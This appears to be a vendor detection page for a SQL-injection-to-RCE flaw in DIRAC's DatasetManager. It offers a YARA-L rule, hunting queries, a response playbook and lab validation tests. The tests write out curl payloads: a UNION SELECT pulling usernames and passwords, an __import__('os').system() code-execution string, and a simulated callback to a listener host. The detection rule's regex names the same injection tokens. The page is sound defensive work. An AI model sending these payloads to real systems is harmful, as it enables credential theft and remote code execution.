Detect DIRAC FileCatalog DatasetManager SQL Injection to RCE (CVE-2026-61667) in Google Chronicle
Detects exploitation attempts against DIRAC's FileCatalog DatasetManager component, where a SQL injection vulnerability (CWE-89) can be chained with unsafe eval() usage (CWE-95) to achieve remote code execution. Affects DIRAC versions >=6,<8.0.79; >=8.1.0a1,<9.0.22; >=9.1.0,<9.1.10. A public PoC exists (GHSA-m4m7-4cw8-62j6). Detection focuses on anomalous SQL error signatures, injection payload patterns in DatasetManager RPC calls, and subsequent process spawning from the DIRAC service process indicative of successful eval()-based code execution.
MITRE ATT&CK
YARA-L Detection Query
rule dirac_datasetmanager_sqli_rce {
meta:
author = "df00tech"
description = "Detects CVE-2026-61667 DIRAC DatasetManager SQLi to RCE attempt"
severity = "CRITICAL"
events:
$e.metadata.event_type = "NETWORK_HTTP"
$e.target.process.file.full_path = /(?i).*dirac.*/
$e.network.http.request.body_text = /(?i)(union select|or '1'='1|__import__|os\.system|subprocess|eval\(|exec\()/
condition:
$e
} Chronicle YARA-L rule flagging HTTP requests to DIRAC services carrying SQL injection or Python eval/exec payload signatures characteristic of the DatasetManager RCE vulnerability.
Data Sources
Required Tables
False Positives & Tuning
- Vulnerability scanning tools with authorized access performing signature-based checks
- Development/staging environments intentionally testing injection payloads
- Proxy rewriting rules that duplicate suspicious substrings in unrelated requests
Other platforms for CVE-2026-61667
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate SQL injection payload against DatasetManager endpoint
Expected signal: HTTP request log entry on the DIRAC service showing the injected payload in the request body/message field.
- Test 2Simulate eval()-based code execution payload
Expected signal: Process creation event for a python/sh process spawned from the DIRAC service parent, with command line containing 'atomic_test_marker'.
- Test 3Simulate follow-on outbound connection from DIRAC service host
Expected signal: Network connection event from the DIRAC service account/process to an external or lab listener IP shortly after the injection attempt.
Response Playbook
Triage
- Identify all DIRAC FileCatalog/DatasetManager instances in the environment and confirm their installed version against the fixed versions (8.0.79, 9.0.22, 9.1.10) to determine exposure.
- Review the alerting request/payload for SQL injection syntax and eval/exec code-execution markers, and correlate with source IP reputation and prior access history to the DIRAC service.
- Check DIRAC service logs and database audit logs for anomalous queries, unexpected schema access, or errors indicating malformed SQL near the alert timestamp.
- Determine whether any subsequent process execution, outbound network connections, or file writes occurred from the DIRAC service account following the suspicious request.
Containment
- Isolate or restrict network access to the affected DIRAC FileCatalog/DatasetManager service (e.g., firewall the service ports) pending patching if exploitation is confirmed or suspected.
- Disable or rotate credentials used by the DIRAC service account and revoke any grid/VO proxy certificates that may have been exposed if RCE is confirmed.
Evidence Collection
- Preserve DIRAC service, database, and web/reverse-proxy logs covering the incident window for forensic analysis, including raw request bodies.
- Capture a memory/process snapshot and disk image of the affected DIRAC host if active code execution is suspected, prior to any remediation actions.
Escalation Criteria
- !Escalate immediately if evidence shows successful process execution or outbound connections consistent with a reverse shell or C2 beacon originating from the DIRAC service process.
- !Escalate if the affected DIRAC instance is part of a shared grid computing environment (e.g., WLCG) where lateral compromise could affect multiple collaborating institutions.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
DIRAC FileCatalog service logs showing raw DatasetManager RPC request payloads - >
Database audit logs revealing anomalous SQL statements or errors on the FileCatalog backend - >
Process creation and command-line records for python/sh/bash processes spawned by the DIRAC service account
Tuning Guidance
Baseline legitimate DatasetManager query patterns and dataset naming conventions in your environment before enabling blocking actions; tune out known internal automation/service accounts and QA test suites that intentionally send edge-case strings, and prioritize alerts where suspicious payloads are followed by process execution or unexpected network egress from the DIRAC host.
Hunting Queries
Broadly hunts for any DatasetManager-related traffic containing SQL or Python keyword tokens over a longer time window to catch low-and-slow or obfuscated exploitation attempts.
CommonSecurityLog
| where Message has "DatasetManager"
| where Message matches regex @"(?i)(select|union|eval|exec|import)"
| summarize count() by SourceIP, bin(TimeGenerated, 1h)
| order by count_ desc index=dirac sourcetype=dirac:filecatalog message="*DatasetManager*"
| regex message="(?i)(select|union|eval|exec|import)"
| stats count by src_ip, _time
| sort -count Atomic Red Team Tests
Sends a crafted HTTP request containing a classic SQL injection payload to a lab DIRAC FileCatalog DatasetManager endpoint to validate detection of injection patterns.
Command
curl -s -X POST 'http://lab-dirac-host:9197/FileCatalog/DatasetManager' -H 'Content-Type: application/json' -d '{"dataset": "test\u0027 UNION SELECT username, password FROM users--"}' Cleanup
No persistent changes made; clear any test logs generated on the lab DIRAC host if log retention policies require it. Expected Telemetry
HTTP request log entry on the DIRAC service showing the injected payload in the request body/message field.
Expected Detection
KQL/SPL rules matching 'UNION SELECT' pattern in DIRAC FileCatalog logs should trigger an alert.
Submits a payload designed to trigger the eval() code path in DatasetManager, attempting to execute a benign marker command in a lab environment.
Command
curl -s -X POST 'http://lab-dirac-host:9197/FileCatalog/DatasetManager' -H 'Content-Type: application/json' -d '{"dataset": "__import__(\'os\').system(\'echo atomic_test_marker\')"}' Cleanup
Verify no marker files or persistence artifacts were created on the lab host; remove the 'atomic_test_marker' output from logs if captured to disk. Expected Telemetry
Process creation event for a python/sh process spawned from the DIRAC service parent, with command line containing 'atomic_test_marker'.
Expected Detection
Elastic EQL/CrowdStrike CQL correlation rules linking suspicious HTTP payload to subsequent process spawn should fire.
After simulating the injection/eval payload, initiates a benign outbound connection from the DIRAC service account context to mimic a post-exploitation callback for detection validation.
Command
sudo -u dirac-svc bash -c "curl -s http://lab-callback-listener:8080/atomic-test-callback" Cleanup
Terminate the lab callback listener and remove any temporary firewall rules opened for the test; confirm no residual outbound connections remain. Expected Telemetry
Network connection event from the DIRAC service account/process to an external or lab listener IP shortly after the injection attempt.
Expected Detection
QRadar AQL / Chronicle YARA-L rules correlating suspicious payload delivery with anomalous outbound network activity should generate an alert.